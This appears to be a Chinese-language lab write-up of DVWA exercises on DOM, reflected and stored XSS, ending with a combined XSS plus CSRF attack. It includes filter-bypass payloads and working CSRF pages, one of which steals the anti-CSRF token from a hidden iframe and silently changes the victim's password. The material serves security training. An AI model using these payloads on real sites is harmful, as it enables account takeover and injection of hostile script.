目录
一、XSS (DOM)
1.Low
2.Medium
3.High
4.Impossible
二、XSS (Reflected)
1.Low
2.Medium
3.High
4.Impossible
三、XSS (Stored)
1.Low
2.Medium
3.High
4.Impossible
四、XSS(Stored)+CSRF组合实验
1.直接访问修改密码URL
2.使用链接访问构造网页修改密码
一、XSS (DOM)
1.Low
- 查看源代码,发现后端未对参数的上传做任何处理与限制,因此可以直接尝试进行xss注入
- 构造xss代码,看到出现弹窗,代码执行成功,说明存在xss漏洞
- 查看页面代码,发现xss代码以及插入并执行了
2.Medium
- 再次尝试直接进行构造xss代码注入,执行后发现页面自动跳转到English
- 查看源代码,发现对<script进行了过滤,注入时会默认跳转到English页面
- 既然不能使用script,那么我们换一种标签,使用img进行尝试,发现还是没有出现弹窗
- 查看页面代码,发现我们构造的语句已经被插入到了value当中,不能成功执行的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用img标签
- 当我们把闭合后的img构造语句执行后,发现出现弹窗,说明存在xss注入漏洞
3.High
- 查看源代码,发现使了了白名单过滤
- 那么我们只能找方法绕过服务器端的处理,直接在本地运行我们构造的语句,可以通过“#”来注释掉后面的内容,因为URL栏中的“#”之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只在客户端显示
- 若在执行构造语句后没有出现弹窗,尝试刷新页面来触发JS中“#”的作用
4.Impossible
- 查看源代码,发现什么也没有,在客户端上处理,不会在进行URL解码
二、XSS (Reflected)
1.Low
- 查看源代码,发现并未对参数做过滤等操作
- 直接输入<script>alert(1)</script>进行注入,发现JS代码被成功执行,出现弹窗
2.Medium
- 查看源代码,发现对<script>进行了处理,当匹配到该字符时转换为空,因此直接输入JS代码后的结果为输出alert(1)
- 我们可以通过大写字母,双写,输入其他可执行弹窗的标签等方法来实现攻击
3.High
- 查看源代码,发现直接将所有的<script>无论大小写都进行了过滤,但并未对其他标签进行限制,所以我们继续使用img等标签来进行注入
4.Impossible
- 查看源代码,发现增加了对token的验证来防止CSRF攻击,然后使用htmlspecialchars函数来将预定义的字符转换为html实体,防止输入的标签被执行
三、XSS (Stored)
1.Low
- 查看源代码,发现使用mysqli_real_escape_string函数来对string中的特殊符号进行转义处理,但并未对我们输入的Name和Message进行xss的过滤,
- 因此我们只需要直接输入JS代码进行攻击即可得到弹窗,攻击成功
2.Medium
- 查看源代码,发现将Message所有可能xss攻击的标签都进行了转义或过滤,但对Name仅仅限制了<script>的标签,因此我们依旧可以在Name中使用大写、双写、使用其他标签等方法来进行注入
- 输入时发现Name对输入长度进行了限制,我们找到该文本框的内容修改最大长度即可
- 然后就可以在Name中输入JS语句进行攻击,出现弹窗,攻击成功
3.High
- 查看代码,发现在Medium的基础上对Name的输入进行了<script>的转义限制,因此我们只需要换一个同样能进行弹窗的标签即可
- 同样方法修改Name文本框的最大长度,输入img标签来进行xss攻击,成功出现弹窗,攻击成功
4.Impossible
- 查看源代码,发现使用内置的PHP函数来转义任何改变输入行为的值,并且使用token验证来防止CSRF攻击
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name );// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>
四、XSS(Stored)+CSRF组合实验
1.直接访问修改密码URL
- 将难度调至Low级别,我们把在CSRF中修改密码后的URL复制下来
- 到XSS(Stored)中将复制到的网址粘贴到Message中,使用img标签构造语句,若文本框限制字符长度,就在页面代码中修改
- 可以将密码进行修改,完成后提交
- 到Brute Force页面中验证密码,发现修改密码成功,注入成功
2.使用链接访问构造网页修改密码
- 我们在根目录中新建一个php文件
- 代码如下,我们需要将src中的内容修改为自己在csrf中修改密码后的网址,将想要修改的密码写入
<img src="http://localhost/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<html>
<h1>密码被修改啦<h1>
</html>
- 接下来就可以访问我们构造的这个文件了,比如说我们现在的密码为password,访问localhost/CSRF.php,就会执行我们写入的修改密码操作后跳转到我们写的报错界面
- 当我们再次回到dvwa登录时,就会发现原来的password已经是错误密码,尝试用我们写的123456来登录,发现登录成功,成功修改密码
- 此外还有一种使用我们在xss中构造一个网址,进入后修改密码,首先在根目录下继续新建一个php文件
- 内容如下,同样还是将密码值修改为自己想要修改的密码
<!DOCTYPE html>
<html>
<head lang="en"><meta charset="UTF-8"><title>修改密码</title><script type="text/javascript">//获取用户的token,并设置为表单中的token,然后提交修改密码的表单function attack(){document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;document.getElementById("transfer").submit();}</script>
</head>
<h1>修改密码成功</h1>
<body onload="attack()"><iframe src="http://localhost/dvwa/vulnerabilities/csrf/" id="hack" style="display:none;"> <!--在该网页内打开另一个网页--></iframe><form method="GET" id="transfer" action="http://localhost/dvwa/vulnerabilities/csrf/"><input type="hidden" name="password_new" value="123456"><input type="hidden" name="password_conf" value="123456"><input type="hidden" name="user_token" value=""><input type="hidden" name="Change" value="Change"></form>
</body>
</html>
- 接下来就是在xss中构造链接,F12修改name文本框的长度
- 在name文本框内输入自己构造的链接,也就是CSRF1.php文件
<a href="http://localhost/CSRF1.php">1</a>
- 此时点击name后的链接,就会直接跳转到localhost/csrf1.php页面修改密码后跳转回到csrf修改密码成功后的页面
- 发现密码成功修改为123456,修改成功
本文章xss+csrf借鉴:【CSRF02】跨站请求伪造——DVWA靶场实操(含CSRF+XSS协同攻击实验)_Fighting_hawk的博客-CSDN博客_跨站请求伪造攻击实验1. 掌握网页相关语言中各种标签的运用;2. 灵活使用XSS注入代码;3. 掌握CSRF攻击的方法;4. 掌握XSS+CSRF协同攻击的方法。https://blog.csdn.net/Fighting_hawk/article/details/123491148?ops_request_misc=&request_id=&biz_id=102&utm_term=dvwa%20xss+csrf&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-123491148.142^v17^control,157^v15^new_3&spm=1018.2226.3001.4187